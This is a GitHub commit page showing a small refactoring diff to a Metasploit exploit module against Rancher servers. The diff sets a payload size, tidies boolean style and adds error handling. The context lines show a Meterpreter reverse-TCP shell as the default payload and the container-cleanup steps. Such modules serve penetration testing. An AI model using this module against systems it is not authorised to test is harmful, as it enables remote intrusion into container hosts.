Skip to content

Commit 34d119b

Browse files
committed
Payload space, error handling and style"
1 parent e3326e1 commit 34d119b

File tree

1 file changed

+5
-3
lines changed

1 file changed

+5
-3
lines changed

modules/exploits/linux/http/rancher_server.rb

Lines changed: 5 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -34,6 +34,7 @@ def initialize(info = {})
3434
],
3535
'Platform' => 'linux',
3636
'Arch' => [ARCH_X64],
37+
'Payload' => { 'Space' => 65000 },
3738
'Targets' => [[ 'Linux', {} ]],
3839
'DefaultOptions' => { 'WfsDelay' => 75, 'Payload' => 'linux/x64/meterpreter/reverse_tcp' },
3940
'DefaultTarget' => 0,
@@ -65,6 +66,7 @@ def del_container(rancher_container_id, container_id)
6566
'ctype' => 'application/json',
6667
'headers' => { 'Accept' => 'application/json' }
6768
)
69+
6870
return vprint_good('The docker container has been removed.') if res && res.code == 200
6971

7072
print_warning("Manual cleanup of container \"#{container_id}\" is needed on the target.")
@@ -118,12 +120,12 @@ def check
118120
return Exploit::CheckCode::Unknown
119121
end
120122

121-
if res.code == 401 and res.headers.to_json.include? 'X-Rancher-Version'
123+
if res.code == 401 && res.headers.to_json.include?('X-Rancher-Version')
122124
print_error('Authorization is required. Provide valid Rancher API Keys.')
123125
return Exploit::CheckCode::Detected
124126
end
125127

126-
if res.code == 200 and res.headers.to_json.include? 'X-Rancher-Version'
128+
if res.code == 200 && res.headers.to_json.include?('X-Rancher-Version')
127129
target_found = false
128130
target_selected = false
129131

@@ -213,7 +215,7 @@ def exploit
213215
'ctype' => 'application/json',
214216
'headers' => { 'Accept' => 'application/json' }
215217
)
216-
next unless res.code == 200 and res.body.include? 'stopped'
218+
next unless res && res.code == 200 && res.body.include?('stopped')
217219

218220
vprint_good('The docker container has stopped, now trying to remove it')
219221
del_container(rancher_container_id, container_id)

0 commit comments

Comments
 (0)